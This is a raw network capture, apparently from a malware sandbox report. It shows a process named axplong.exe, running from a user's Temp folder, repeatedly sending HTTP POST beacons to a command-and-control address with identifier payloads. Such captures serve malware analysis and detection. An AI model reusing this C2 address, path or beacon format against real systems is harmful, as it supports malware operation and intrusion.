Sep 27, 2024 11:30:44.153584957 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:44.154489040 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:44.378087044 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	65098	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:44.497486115 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:45.207119942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:45.208024025 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:45.434211016 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	65099	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:45.545962095 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:46.252923965 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:46.255951881 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:46.488704920 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	65100	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:46.607590914 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:47.302988052 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:47.304413080 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:47.526633978 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	65101	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:47.638288021 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:48.358087063 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:48.359149933 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:48.590025902 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	65102	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:48.701088905 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:49.401583910 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:49.402457952 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:49.627460003 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	65103	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:49.747351885 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:50.440229893 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:50.441426039 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:50.666389942 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	65104	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:50.778734922 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:51.484373093 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:51.485218048 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:51.711504936 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	65105	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:51.828345060 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:52.535466909 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:52.538497925 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:52.761044979 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	65106	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:52.872567892 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:53.608582020 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:53.610451937 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:53.848117113 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	65107	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:53.967271090 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:54.678500891 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:54.679599047 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:54.906187057 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	65108	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:55.012929916 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:55.739972115 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:55.740757942 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:55.973352909 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	65109	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:56.091054916 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:56.797980070 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
